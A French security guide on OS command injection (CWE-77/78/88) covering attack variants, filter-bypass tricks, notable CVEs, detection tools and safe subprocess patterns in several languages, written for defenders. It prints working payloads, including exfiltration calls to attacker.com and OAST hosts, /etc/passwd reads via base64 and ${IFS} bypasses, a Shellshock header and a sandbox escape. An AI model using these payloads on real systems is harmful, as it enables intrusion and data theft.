Injection de commandes OS (CWE-77/78, OWASP A03:2021) : exécution de commandes arbitraires sur le serveur via des entrées non filtrées — RCE et compromission complète du système.
TL;DR
; | && $()) enchaînent des commandes arbitraires — jamais d'entrées utilisateur dans un shell${IFS}, expansion d'accolades, base64) déjouent la plupart des WAF et sanitizers regexshell=False — la sanitization shell est morteL'injection de commandes (command injection) est une vulnérabilité dans laquelle des données contrôlées par l'utilisateur sont transmises à un shell OS ou à une fonction d'exécution de commandes sans neutralisation adéquate (CWE-78 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS). Le shell interprète les métacaractères injectés — points-virgules, pipes, backticks, substitution $() — comme des opérateurs de contrôle, l'amenant à exécuter des commandes fournies par l'attaquant avec les privilèges du processus applicatif.
Cette vulnérabilité se distingue de l'injection de code (CWE-94), qui cible l'interpréteur runtime propre à l'application (par exemple, eval() en Python ou PHP). L'injection de commandes cible le shell OS sous-jacent. Elle diffère également de l'injection SQL, confinée à la couche base de données. Une injection de commandes réussie donne à l'attaquant un accès direct au système d'exploitation hôte : système de fichiers, table des processus, interfaces réseau et identifiants.
OWASP classe l'injection en A03:2021 (catégorie actuelle du Top 10), avec 33 CWE mappés à cette catégorie. CWE-78 (OS Command Injection) est systématiquement scoré à CVSS 9.8 comme sévérité de base pour les failles accessibles par le réseau sans authentification. Selon l'alerte Secure by Design de la CISA de juillet 2024, l'injection de commandes OS reste l'une des classes de vulnérabilités les plus évitables mais les plus persistamment exploitées dans les logiciels d'entreprise.
La cause profonde est simple : chaque fois qu'une application construit une commande OS en concaténant des chaînes fournies par l'utilisateur et transmet le résultat à un interpréteur shell (/bin/sh, cmd.exe, PowerShell), le shell analyse chaque caractère de la chaîne — y compris les opérateurs de contrôle injectés par l'attaquant.
Le flux d'attaque se déroule en cinq étapes :
"ping -c 1 " + user_input.os.system(), exec(), shell_exec(), Runtime.exec(String).Démonstration minimale — un endpoint ping vulnérable et son exploitation :
GET /api/tools/ping?host=127.0.0.1;id HTTP/1.1
Host: vulnerable.example.comHTTP/1.1 200 OK
Content-Type: text/plain
PING 127.0.0.1: 56 data bytes
--- 127.0.0.1 ping statistics ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)La commande id s'exécute parce que le point-virgule termine la commande ping et en démarre une nouvelle. L'application renvoie les deux sorties sans filtrage.
| Variante | Technique | Impact |
|---|---|---|
| Classique en bande | ; cmd | cmd $(cmd) — sortie dans la réponse | Exfiltration de données immédiate, vol d'identifiants |
| À l'aveugle (sans écho) | La commande s'exécute ; la sortie n'est pas renvoyée | Écriture arbitraire, lancement de reverse shell |
| À l'aveugle basée sur le temps | ; sleep 7 avec validation du delta proportionnel | Oracle binaire — confirme l'existence de l'injection |
| Hors-bande (OOB) | ; nslookup $(whoami).OAST callback DNS/HTTP | Exfiltration de données insensible au filtrage de réponse |
| Injection d'arguments (CWE-88) | Injecter des flags CLI — pas besoin de métacaractères | Écrasement de fichier, manipulation de config, RCE |
| Second ordre (stocké) | Payload stocké ; exécuté plus tard par un processus en arrière-plan | Exécution avec privilèges plus élevés, détection différée |
L'injection classique en bande est la forme la plus simple : la sortie de la commande injectée apparaît directement dans la réponse HTTP. Les séparateurs courants incluent ; (séquentiel), | (pipe stdout vers stdin), && (ET conditionnel), || (OU conditionnel) et %0a (saut de ligne encodé en URL — contourne les filtres bloquant ;|&).
L'injection à l'aveugle ne produit aucune sortie dans la réponse. L'application exécute la commande mais supprime stdout/stderr, ou l'injection s'exécute dans un processus en arrière-plan. Les attaquants utilisent des canaux auxiliaires : délais temporels, écriture de fichiers sur des chemins accessibles via le web, ou canaux OOB.
L'injection à l'aveugle basée sur le temps nécessite un protocole de validation proportionnel pour éliminer les faux positifs dus à la gigue réseau. Injecter sleep 7 et mesurer le délai T1 ; injecter sleep 14 et mesurer T2. Confirmer uniquement lorsque T1 - baseline ≥ 5,5s ET T2 - T1 ≥ 5,5s. Un pic isolé sans échelonnement est dû à la charge serveur, pas à une injection.
L'injection hors-bande déclenche une requête DNS ou HTTP depuis le serveur cible vers un écouteur contrôlé par l'attaquant. Le sous-domaine encode la sortie de la commande : ; nslookup $(whoami).COLLABORATOR.oastify.com. Lorsque le serveur DNS reçoit une requête pour www-data.COLLABORATOR.oastify.com, l'injection est confirmée et l'utilisateur courant est exfiltré. L'OOB est supérieure à la méthode basée sur le temps car insensible à la charge serveur et fournissant une preuve d'identité. Outils : Burp Collaborator, Interactsh (oast.pro, oast.live).
L'injection d'arguments est catégoriquement différente de l'injection de commandes OS classique. Aucun métacaractère shell n'est nécessaire. L'attaquant injecte des flags de ligne de commande dans un appel subprocess en tableau d'arguments que le développeur croyait sûr.
# Intention du développeur : cloner un dépôt spécifié par l'utilisateur
subprocess.run(["git", "clone", user_repo]) # Pas de shell — mais toujours vulnérable
# Entrée de l'attaquant :
# user_repo = "--upload-pack=touch /tmp/pwned http://legitimate-looking-url.com"
# Appel résultant : git clone --upload-pack=touch /tmp/pwned http://legitimate-looking-url.com
# git exécute : touch /tmp/pwnedAutres vecteurs d'injection d'arguments à fort impact :
# curl : écriture de contenu contrôlé par l'attaquant vers un chemin arbitraire
subprocess.run(["curl", user_url])
# user_url = "-o /etc/cron.d/backdoor http://attacker.com/payload"
# SSH : exécution via ProxyCommand par injection de flag
subprocess.run(["ssh", user_host])
# user_host = "-oProxyCommand=id>/tmp/pwned some-host"
# psql : redirection de la sortie vers une commande via le flag -o
subprocess.run(["psql", "-c", user_query, db_url])
# user_query = "-o'|id>/tmp/pwned'"Le terminateur de fin d'options POSIX -- atténue la plupart des injections d'arguments :
subprocess.run(["git", "clone", "--", user_repo]) # -- empêche l'injection de flagsCVE-2024-39930 (serveur SSH Gogs, CVSS 9.9) en est un exemple en production : l'injection d'arguments SSH a abouti à une exécution complète de code sur une plateforme Git auto-hébergée, sans aucun métacaractère shell.
L'injection de second ordre stocke le payload à un point de l'application et déclenche l'exécution plus tard — souvent par un processus disposant de privilèges plus élevés, comme une tâche cron, un script d'administration ou un générateur de rapports.
Un utilisateur s'inscrit avec username = alice; curl http://attacker.com/$(id). L'endpoint d'inscription stocke la valeur sans l'exécuter. Un script de rapport nocturne s'exécute : system("echo Processing user: " + username). La commande injectée se déclenche dans le contexte cron, potentiellement avec les privilèges root. Les payloads OOB avec des enregistrements DNS à long TTL sont la technique de détection la plus fiable — ils se déclenchent lorsque le processus différé s'exécute, des minutes ou des heures plus tard.
La plupart des filtres d'injection bloquent les caractères évidents : ;, |, &, $. Ces techniques permettent de les contourner.
Le séparateur de champ interne ($IFS) remplace les espaces littéraux, contournant les filtres qui bloquent les espaces dans la valeur :
cat${IFS}/etc/passwd # IFS se développe en espace/tabulation/saut de ligne
cat$IFS/etc/passwd # forme courte
cat</etc/passwd # redirection d'entrée — pas d'espace nécessaire
cat%09/etc/passwd # tabulation encodée en URL (0x09)L'expansion d'accolades Bash crée une invocation de commande sans espace :
{cat,/etc/passwd} # équivalent à : cat /etc/passwd
{ls,-la,/tmp} # ls -la /tmp — pas d'espace, pas de pipe# Contournement Base64 (déjoue les filtres de mots-clés sur "id", "whoami", "cat")
echo${IFS}aWQK|base64${IFS}-d|sh # base64("id\n") = aWQK
bash<<<$(base64${IFS}-d<<<Y2F0IC9ldGMvcGFzc3dk) # cat /etc/passwd
# Encodage hexadécimal
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'; cat $abc
# Double encodage URL (si l'application décode deux fois)
%253b → %3b → ; (point-virgule)
%2526 → %26 → & (esperluette)
# Normalisation Unicode pleine largeur (certaines plateformes normalisent)
; (U+FF1B FULLWIDTH SEMICOLON) → peut se normaliser en ;
| (U+FF5C FULLWIDTH VERTICAL LINE) → peut se normaliser en |REM Échappement caret — contourne les filtres basés sur les caractères
c^m^d /c whoami
w^ho^am^i
REM Insensibilité à la casse — contourne les filtres de mots-clés sensibles à la casse
WhoAmI
WHOAMI
REM Expansion de variable pour construire des commandes
set c=who
set d=ami
%c%%d%
REM Extraction de sous-chaîne de variable d'environnement
%PROGRAMFILES:~10,-5% # extrait "calc" depuis "C:\Program Files"BatBadBut (CVE-2024-24576, CVSS 10.0) : Lorsqu'une application Windows exécute un fichier .bat ou .cmd, cmd.exe est implicitement invoqué quel que soit l'appelant. Les règles des métacaractères de cmd.exe — ^, &, |, %, ", (, ) — diffèrent fondamentalement des shells POSIX et ne peuvent pas être neutralisées par l'encadrement en guillemets doubles. Cela a affecté simultanément Rust (toutes versions < 1.77.2), PHP (CVE-2024-1874), Node.js (CVE-2024-27980), Haskell et Go sur Windows en avril 2024.
Fonctionne simultanément dans les contextes d'injection sans guillemets, avec guillemets simples et avec guillemets doubles :
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}| CVE | Produit | CVSS | Auth | Année | Statut |
|---|---|---|---|---|---|
| CVE-2024-3400 | Palo Alto PAN-OS GlobalProtect | 10.0 | Aucune | 2024 | CISA KEV, corrigé |
| CVE-2024-24576 | Rust stdlib Windows (BatBadBut) | 10.0 | N/A | 2024 | Corrigé dans Rust 1.77.2 |
| CVE-2024-21887 | Ivanti Connect Secure | 9.1 | Admin | 2024 | CISA KEV, corrigé |
| CVE-2024-9463 | Palo Alto Expedition | 9.9 | Aucune | 2024 | CISA KEV, corrigé |
| CVE-2025-68613 | n8n workflow automation | 9.9 | Faible | 2025 | Corrigé en 1.120.4+ (1.121.1, 1.122.0) |
| CVE-2022-46169 | Cacti ≤ 1.2.22 | 9.8 | Aucune | 2022 | Exploité en 48h |
| CVE-2016-3714 | ImageMagick (ImageTragick) | 8.4 | Aucune | 2016 | Impact massif sur les apps web |
| CVE-2014-6271 | GNU Bash (Shellshock) | 10.0 | Aucune | 2014 | Des millions de systèmes |
CVE-2024-3400 — PAN-OS GlobalProtect (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Découvert le 12 avril 2024 et ajouté au catalogue des vulnérabilités exploitées connues (KEV) de la CISA le même jour. L'attaque en deux étapes utilisait un cookie SESSID malformé contenant des caractères de traversée de chemin pour créer un fichier arbitraire sur le système de fichiers de l'appareil. Une seconde requête déclenchait l'exécution du fichier créé comme script Python avec les privilèges root. L'acteur menaçant UTA0218 (suivi par Volexity) a déployé une backdoor Python nommée UPSTYLE grâce à cette vulnérabilité, ciblant des réseaux gouvernementaux, de télécommunications et d'infrastructures critiques dans le monde entier. Ce CVE illustre le schéma d'exploitation dominant en 2024-2025 : une primitive d'écriture de fichier enchaînée avec une exécution de commandes par un processus en arrière-plan privilégié.
CVE-2024-21887 — Ivanti Connect Secure (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Divulgué le 10 janvier 2024, cette injection de commandes dans l'endpoint /api/v1/license/key-status/<node_name> nécessitait une authentification administrateur. Isolément, CVSS 9.1. Enchaîné avec CVE-2023-46805 (contournement d'authentification, CVSS 8.2), la combinaison a abouti à un RCE non authentifié — l'une des chaînes d'exploitation les plus impactantes de 2024. Des acteurs étatiques ont déployé les implants ZIPLINE, THINSPOOL, WIREFIRE et LIGHTWIRE dans des milliers d'organisations, dont des agences gouvernementales américaines. L'alerte Secure by Design de la CISA a cité ce CVE comme preuve que les exigences d'authentification n'atténuent pas suffisamment l'injection de commandes — les éditeurs doivent éliminer la cause profonde.
CVE-2025-68613 — Injection d'expression n8n (CVSS 9.9)
Une nouvelle surface d'attaque a émergé en 2025 : les plateformes d'automatisation de workflows IA. Les versions 0.211.0 à 1.120.3 de n8n évaluaient des expressions JavaScript ({{ $json.value }}) dans un contexte insuffisamment isolé. Un utilisateur à faibles privilèges ayant le droit d'éditer des workflows pouvait s'échapper du sandbox via process.mainModule.require et accéder aux composants internes de Node.js :
{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}Avec plus de 103 000 instances n8n exposées publiquement en décembre 2025, cela représente une classe de vulnérabilité d'injection qui va croître à mesure que les plateformes d'automatisation pilotées par LLM se multiplient.
Référence historique — CVE-2016-3714 (ImageTragick)
Le fichier delegates.xml d'ImageMagick traitait les noms de fichiers image fournis par l'utilisateur dans des appels shell system() avec le spécificateur %M non échappé. Un fichier MVG/SVG malveillant avec du contenu comme fill 'url(https://example.com/"|id > /tmp/pwned")' déclenchait une exécution de commande OS dans toute application appelant convert sur des images téléversées. Cela affectait les applications PHP, Ruby, Node.js et Python utilisant le binding imagick. Toute application web acceptant des téléversements d'images traitées par ImageMagick était potentiellement vulnérable.
Rapports HackerOne : HackerOne #212696 (Imgur) — RCE via injection d'argument en ligne de commande dans un binaire de traitement d'images ; HackerOne #2293731 (Internet Bug Bounty) — injection de commandes via SSH ProxyCommand dans une application passant des noms d'hôte contrôlés par l'utilisateur à des appels subprocess (CVE-2023-6004).
La CISA et le FBI ont publié une alerte Secure by Design conjointe le 10 juillet 2024, ciblant spécifiquement l'injection de commandes OS : « Eliminating OS Command Injection Vulnerabilities » (https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-os-command-injection-vulnerabilities). L'alerte demande aux fabricants de logiciels de traiter l'injection de commandes comme un choix de conception inacceptable — et non comme une vulnérabilité à corriger après la mise en production.
User-Agent, Referer, X-Forwarded-For), noms de fichiers dans les flux de téléversement et champs JSON dans les corps d'API.; echo cmdi-CANARY-$(id). Si uid= apparaît dans la réponse, l'injection est confirmée.; sleep 7 et établir la référence avec ; sleep 0. Confirmer uniquement si le delta est ≥ 5,5 secondes et s'échelonne proportionnellement avec ; sleep 14.; nslookup $(whoami).VOTRE-SOUS-DOMAINE.oastify.com. Surveiller le panneau Collaborator pour une interaction DNS contenant l'utilisateur courant dans le sous-domaine.User-Agent: () { :;}; /bin/bash -c 'id'. Tester X-Forwarded-For pour l'injection au niveau de la journalisation (vecteur CVE-2022-46169).- ou -- dans tout paramètre transmis à un binaire externe (convertisseurs d'images, outils d'archivage, utilitaires réseau).Commix (v4.1, plus de 5 700 étoiles GitHub) est l'outil DAST de référence. Il teste les techniques classique, basée sur le temps, par fichier et OOB sur les paramètres GET/POST, les en-têtes, les cookies et le JSON :
# Scan de paramètre GET basique
commix --url "http://target.com/ping?host=*"
# Test d'injection d'en-tête
commix --url "http://target.com/" --headers "User-Agent: *"
# Corps JSON avec mode smart et niveau 3
commix --url "http://target.com/api" --data '{"host": "*"}' --data-type json \
--batch --smart --level=3 --technique=CTF --failed-tries=3Burp Suite Pro utilise la détection OOB basée sur Collaborator pour les contextes d'injection à l'aveugle où le timing n'est pas fiable. Le polling OAST détecte les callbacks manqués par l'analyse basée sur la réponse.
Règles Semgrep SAST signalent les patterns vulnérables dans le code source avant le déploiement :
python.lang.security.audit.subprocess-shell-true.subprocess-shell-truejavascript.lang.security.detect-child-process.detect-child-processjava.lang.security.audit.command-injection-formatted-runtime-callCodeQL fournit un suivi de taint inter-procédural des sources de requêtes HTTP vers les puits d'exécution OS (Runtime.exec, ProcessBuilder, subprocess, child_process.exec), trouvant des chaînes d'injection à travers plusieurs couches d'appels de fonctions.
BreachVex confirme l'injection de commandes via plusieurs techniques complémentaires : un canari echo in-band confirmé dans la réponse, une validation par delta temporel proportionnel, un callback DNS hors-bande avec identifiants de corrélation par sonde, et un signal structurel (le paramètre accepte des métacaractères sans erreurs de sanitization). Chaque finding est livré avec la preuve la plus forte obtenue.
OWASP, PortSwigger et la CISA convergent vers une défense principale unique : éviter entièrement les commandes OS depuis le code applicatif. Utiliser des bibliothèques natives au langage pour les tâches qui semblent nécessiter des outils shell.
| Tâche | Au lieu du shell | Utiliser plutôt |
|---|---|---|
| Listage de fichiers | ls via os.system() | os.listdir() (Python), fs.readdir() (Node.js) |
| Résolution DNS | nslookup via shell | socket.gethostbyname() |
| Requêtes HTTP | curl via shell | bibliothèque requests, fetch() |
| Traitement d'images | convert via shell | Pillow (Python), Sharp (Node.js) |
| Compression de fichiers | zip via shell | module zipfile (Python) |
Lorsque les commandes OS sont inévitables, utiliser des API en tableau d'arguments qui court-circuitent entièrement l'interprétation shell.
import subprocess, re
# DANGEREUX — shell=True démarre /bin/sh, les métacaractères sont interprétés
import os
os.system(f"ping -c 1 {user_host}") # vecteur d'injection
subprocess.run(f"ping -c 1 {user_host}", shell=True) # même risque
# SÛR — tableau d'arguments, shell=False (par défaut)
subprocess.run(["ping", "-c", "1", user_host]) # pas de shell
# PLUS SÛR — validation par liste d'autorisation avant l'appel
if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', user_host):
raise ValueError("Adresse IP invalide")
subprocess.run(["ping", "-c", "1", user_host])
# shlex.quote() — POSIX uniquement, NON sûr sur Windows, utiliser en dernier recours
# Nécessite tout de même shell=True qui est déjà risqué — préférer le tableau d'argumentsconst { exec, execFile, spawn } = require('child_process');
// DANGEREUX — exec démarre toujours un shell
exec(`ping -c 1 ${req.query.host}`, callback);
// DANGEREUX — shell: true rend spawn équivalent à exec
spawn('ping', ['-c', '1', req.query.host], { shell: true });
// SÛR — execFile court-circuite le shell
execFile('ping', ['-c', '1', req.query.host], callback);
// SÛR — spawn avec shell: false (par défaut)
const child = spawn('ping', ['-c', '1', req.query.host], { shell: false });
// AVERTISSEMENT — sur Windows, l'exécution de fichiers .bat/.cmd invoque implicitement cmd.exe
// Même shell: false NE protège PAS contre BatBadBut (CVE-2024-27980)
// Éviter entièrement les fichiers batch avec des arguments contrôlés par l'utilisateur sur WindowsString userInput = request.getParameter("host");
// DANGEREUX — forme chaîne, tokenisation dépendante de la plateforme
Runtime.getRuntime().exec("ping -c 1 " + userInput);
// DANGEREUX — invocation shell explicite
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ping -c 1 " + userInput});
// SÛR — ProcessBuilder avec liste d'arguments explicite
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", userInput);
pb.redirectErrorStream(true);
Process p = pb.start();$host = $_GET['host'];
// DANGEREUX — toutes ces fonctions invoquent le shell avec les données utilisateur
exec("ping -c 1 $host", $output);
system("ping -c 1 " . $host);
shell_exec("ping -c 1 $host");
// ACCEPTABLE — escapeshellarg() enveloppe l'entrée dans des guillemets simples
$safeHost = escapeshellarg($host);
exec("ping -c 1 $safeHost", $output);
// MEILLEURE APPROCHE — validation par liste d'autorisation + escapeshellarg en défense en profondeur
if (!filter_var($host, FILTER_VALIDATE_IP)) {
http_response_code(400);
exit("Entrée invalide");
}
exec("ping -c 1 " . escapeshellarg($host), $output);
// NOTE : escapeshellarg() sur Windows est insuffisant (CVE-2024-1874, CVE-2024-5585)
// Éviter l'invocation de .bat/.cmd avec des entrées utilisateur sur Windows quel que soit l'échappementimport "os/exec"
// SÛR — exec.Command n'invoque pas de shell ; les arguments sont passés directement à l'OS
cmd := exec.Command("ping", "-c", "1", userInput)
out, err := cmd.Output()
// DANGEREUX — invocation shell explicite (à éviter)
cmd := exec.Command("sh", "-c", "ping -c 1 " + userInput)
// MISE EN GARDE WINDOWS — les fichiers .bat/.cmd invoquent implicitement cmd.exe sur Windows
// cmd := exec.Command("script.bat", userInput) // NON SÛR sur Windows
// Voir golang/go issue #27199# DANGEREUX — toutes ces formes invoquent le shell avec interprétation des métacaractères
`ping -c 1 #{user_input}` # backtick
%x[ping -c 1 #{user_input}] # équivalent
system("ping -c 1 #{user_input}") # forme chaîne unique invoque le shell
# SÛR — forme multi-arguments court-circuite le shell
system("ping", "-c", "1", user_input) # pas de shell
exec("ping", "-c", "1", user_input) # pas de shell
require 'open3'
Open3.capture2("ping", "-c", "1", user_input) # pas de shell// DANGEREUX — Arguments sous forme de chaîne unique permet l'injection
var psi = new ProcessStartInfo("cmd.exe", "/c ping -n 1 " + userInput);
Process.Start(psi);
// SÛR — ArgumentList (tableau d'arguments), disponible à partir de .NET 5+
var psi = new ProcessStartInfo("ping") {
// ArgumentList court-circuite entièrement l'analyse de chaîne shell
};
psi.ArgumentList.Add("-n");
psi.ArgumentList.Add("1");
psi.ArgumentList.Add(userInput); // traité comme données opaques
Process.Start(psi);Même lorsqu'une injection de commandes survient, les contrôles de sécurité des conteneurs limitent le rayon d'action :
# docker-compose.yml
security_opt:
- seccomp:./seccomp-profile.json # bloquer ptrace, unshare, init_module
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE # uniquement ce dont l'application a besoin
read_only: true
tmpfs:
- /tmp:size=100m,noexec # noexec bloque l'exécution de fichiers téléversésSupprimer CAP_SYS_PTRACE pour empêcher l'injection de processus, CAP_SYS_ADMIN pour éviter l'échappement d'espace de noms, CAP_SETUID pour prévenir l'élévation de privilèges. Les profils AppArmor ou SELinux peuvent restreindre les binaires que le processus applicatif peut exécuter, limitant les options de l'attaquant même après une injection.
La fiche de sécurité OWASP OS Command Injection Defense indique : « Ne PAS vous fier à l'échappement des métacaractères shell comme défense principale. » L'alerte Secure by Design 2024 de la CISA le renforce : les approches basées sur la sanitization sont définitivement compromises pour cinq raisons. (1) Les métacaractères shell diffèrent entre bash, sh, zsh, cmd.exe et PowerShell — une fonction d'échappement correcte pour un shell échoue sur un autre (démontré par BatBadBut). (2) Les contournements d'encodage — ${IFS}, expansion d'accolades, double encodage URL, normalisation Unicode — déjouent toute liste noire de caractères. (3) L'injection d'arguments (CWE-88) ne nécessite aucun métacaractère. (4) Les listes noires de caractères sont intrinsèquement incomplètes. (5) Les fonctions d'échappement corrigées se retrouvent cassées par de nouveaux cas limites (CVE-2024-5585 a contourné le correctif de CVE-2024-1874 via un espace en fin de chaîne). La seule défense fiable consiste à ne pas invoquer de shell.
Quelle est la différence entre l'injection de commandes et l'injection de code ?
L'injection de commandes (CWE-77/CWE-78) transmet des entrées contrôlées par l'attaquant à un shell OS, exécutant des binaires système. L'injection de code (CWE-94) injecte du code source évalué par le runtime propre à l'application (par exemple, eval() en Python ou PHP). L'injection de commandes nécessite un contexte shell ; l'injection de code nécessite un interpréteur. Les deux aboutissent à un RCE par des chemins différents.
Quelle est la différence entre l'injection de commandes et l'injection SQL ? L'injection SQL cible les parseurs de requêtes de base de données pour manipuler des données. L'injection de commandes cible le shell OS pour exécuter des binaires arbitraires. L'injection SQL est limitée à la couche base de données ; l'injection de commandes peut compromettre l'ensemble du système d'exploitation, installer des backdoors et pivoter vers des réseaux internes.
Qu'est-ce que l'injection d'arguments (CWE-88) ?
L'injection d'arguments injecte des flags ou des options de ligne de commande — pas des métacaractères shell — dans un processus démarré. Même les appels subprocess en tableau d'arguments avec shell=False sont vulnérables si l'entrée utilisateur peut préfixer des flags. Aucun shell n'est invoqué ; le binaire lui-même interprète l'option injectée. Le terminateur de fin d'options POSIX -- est la principale atténuation.
L'injection de commandes est-elle la même chose que l'exécution de code à distance (RCE) ? L'injection de commandes est une classe de vulnérabilité ; le RCE est un impact. Une injection de commandes réussie aboutit à un RCE. Tous les RCE ne proviennent pas de l'injection de commandes — les failles de désérialisation, les SSTI et les inclusions de fichiers y mènent également — mais l'injection de commandes est l'un des chemins les plus directs.
Comment fonctionne l'injection de commandes à l'aveugle ? L'application exécute la commande injectée mais ne renvoie aucune sortie. La détection repose sur des délais temporels (validation par sleep proportionnel), des callbacks DNS/HTTP OOB vers Interactsh ou Burp Collaborator, ou des écritures de fichiers sur des chemins accessibles via le web.
Un WAF peut-il totalement prévenir l'injection de commandes ?
Non. La substitution ${IFS}, l'expansion d'accolades, les payloads encodés en base64, les caractères Unicode pleine largeur et le double encodage URL contournent la plupart des règles WAF. Les WAF ajoutent une profondeur de détection mais ne peuvent pas remplacer les API d'exécution paramétrée.
Quels CVE sont associés à l'injection de commandes en 2024-2025 ? CVE-2024-3400 (PAN-OS, CVSS 10.0), CVE-2024-24576 (Rust BatBadBut, CVSS 10.0), CVE-2024-21887 (Ivanti, CVSS 9.1), CVE-2024-9463 (Palo Alto Expedition, CVSS 9.9), CVE-2025-68613 (n8n, CVSS 9.9), CVE-2022-46169 (Cacti, CVSS 9.8) et CVE-2024-27980 (Node.js Windows spawn).
Pourquoi la CISA a-t-elle publié une alerte Secure by Design sur l'injection de commandes ? Le 10 juillet 2024, la CISA et le FBI ont publié une alerte conjointe citant CVE-2024-20399, CVE-2024-3400 et CVE-2024-21887 comme preuve que les éditeurs livrent des produits comportant des failles d'injection de commandes OS évitables. La CISA a demandé aux fabricants d'éliminer cette classe via une architecture sécurisée par défaut, et non par des correctifs après la mise en production.
Qu'était Shellshock ?
CVE-2014-6271 (CVSS 10.0) — une faille GNU Bash dans laquelle l'analyse des variables d'environnement exécutait des commandes trailing après des définitions de fonctions : () { :;}; /bin/bash -c 'id'. Exploitée via des scripts CGI dans les heures suivant la divulgation, elle a compromis des millions de systèmes dans le monde et reste un exemple de référence dans les programmes de formation en tests d'intrusion.
L'injection de commandes (CWE-77/CWE-78) transmet des entrées contrôlées par l'attaquant à un shell OS, exécutant des binaires système. L'injection de code (CWE-94) injecte du code source évalué par le runtime propre à l'application (par exemple, eval() en Python ou PHP). L'injection de commandes nécessite un contexte shell ; l'injection de code nécessite un interpréteur. Les deux aboutissent à un RCE, mais par des chemins différents.
L'injection SQL cible les parseurs de requêtes de base de données pour manipuler des données. L'injection de commandes cible le shell OS pour exécuter des binaires arbitraires. L'injection SQL est limitée à la couche base de données ; l'injection de commandes peut compromettre l'ensemble du système d'exploitation, installer des backdoors et pivoter vers des réseaux internes. Les deux sont des failles d'injection relevant d'OWASP A03:2021.
L'injection d'arguments survient lorsqu'un attaquant injecte des options ou des flags de ligne de commande — et non des métacaractères shell — dans un processus démarré. Même les appels subprocess en tableau d'arguments dits 'sûrs' sont vulnérables si l'entrée utilisateur peut préfixer des flags comme --output=/etc/cron.d/backdoor pour curl, ou --upload-pack=id>/tmp/pwned pour git clone. Aucun shell n'est nécessaire ; le binaire lui-même interprète l'option injectée.
L'injection de commandes est une classe de vulnérabilité ; le RCE est un impact. Une injection de commandes réussie aboutit à un RCE en exécutant des commandes OS sur l'hôte distant. Tous les RCE ne proviennent pas de l'injection de commandes — les failles de désérialisation, les SSTI et les inclusions de fichiers y mènent également — mais l'injection de commandes est l'un des chemins les plus directs et fiables.
Sur Unix : point-virgule (;), pipe (|), esperluette (&), double-esperluette (&&), double-pipe (||), backtick (`cmd`) et dollar-parenthèse ($(cmd)), plus le saut de ligne encodé en URL (%0a). Sur Windows cmd.exe : & && || | et le caret (^). Le saut de ligne %0a est particulièrement fiable car de nombreux filtres bloquent ; | & mais pas les sauts de ligne bruts.
L'injection de commandes à l'aveugle survient lorsque l'application exécute la commande injectée mais ne renvoie aucun résultat dans la réponse. La détection repose sur des signaux hors-bande : délais temporels (sleep/ping pour les injections à l'aveugle basées sur le temps), callbacks DNS ou HTTP vers un serveur contrôlé par l'attaquant (OOB), ou écriture de fichiers sur des chemins accessibles via le web. L'OOB via Interactsh ou Burp Collaborator est la technique de confirmation la plus fiable.
La technique à l'aveugle basée sur le temps injecte des commandes sleep ou ping et mesure le délai de réponse comme oracle binaire. Un protocole fiable utilise une validation proportionnelle : injecter sleep 7 (attendre ~7s de délai), puis injecter sleep 14 (attendre ~14s de délai). Si les deux délais s'échelonnent proportionnellement, l'injection est confirmée. Un pic unique sans échelonnement peut être dû à la gigue réseau ou à la charge serveur.
L'injection OOB déclenche une connexion réseau depuis le serveur cible vers un écouteur contrôlé par l'attaquant. Des payloads comme ; nslookup $(whoami).VOTRE.oast.pro amènent le serveur à résoudre un nom DNS encodant la sortie de la commande. L'attaquant surveille le serveur DNS (Burp Collaborator, Interactsh, oast.live) pour les requêtes entrantes. L'OOB est plus fiable que la méthode basée sur le temps car elle est insensible à la gigue de charge serveur et fournit une preuve d'exécution de commande.
Commix (v4.1, open-source) automatise la détection via les techniques classique, basée sur le temps, par fichier et OOB sur les paramètres GET/POST, en-têtes, cookies et corps JSON. Burp Suite Pro utilise la détection OOB basée sur Collaborator. Pour le SAST, les règles Semgrep python.lang.security.audit.subprocess-shell-true et javascript.lang.security.detect-child-process signalent les patterns vulnérables dans le code source. CodeQL fournit un suivi de taint inter-procédural.
Utilisez subprocess.run() avec un tableau d'arguments et shell=False (valeur par défaut). Ne passez jamais shell=True avec des entrées utilisateur. Évitez entièrement os.system(). Si vous devez sanitizer, shlex.quote() ne fonctionne que sur POSIX et n'est pas fiable sur Windows. Préférez la validation par liste d'autorisation avant tout appel subprocess : validez les adresses IP, noms de fichiers ou slugs contre une expression régulière stricte avant de les passer comme arguments.
Utilisez execFile() ou spawn() avec un tableau d'arguments et shell: false. N'utilisez jamais exec() qui démarre un shell par défaut. Sur Windows, évitez d'exécuter des fichiers .bat ou .cmd avec des arguments contrôlés par l'utilisateur — l'invocation implicite de cmd.exe crée une surface d'injection quel que soit le paramètre shell: false (voir CVE-2024-27980). Dans Node.js 24+, les arguments sous forme de chaîne passés à spawn() sont rejetés en mode strict.
Non. Les WAF sont contournables via la substitution IFS (cat${IFS}/etc/passwd), l'expansion d'accolades ({cat,/etc/passwd}), le double encodage URL (%253B pour ;), les caractères Unicode pleine largeur (;) et les payloads encodés en base64 (echo aWQK|base64 -d|sh). Les WAF ajoutent une profondeur de détection mais ne peuvent pas remplacer les API d'exécution paramétrée. OWASP et CISA déclarent tous deux que la sanitization des entrées seule est insuffisante.
Shellshock (CVE-2014-6271, CVSS 10.0) est l'exemple canonique. Une faille dans l'analyse des variables d'environnement de GNU Bash permettait d'ajouter des commandes arbitraires après des définitions de fonctions (par ex., () { :;}; /bin/bash -c 'id'). Exploitée via des scripts CGI dans les heures suivant la divulgation, elle a affecté des millions de systèmes dont des serveurs web, des routeurs et des appareils IoT dans le monde entier.
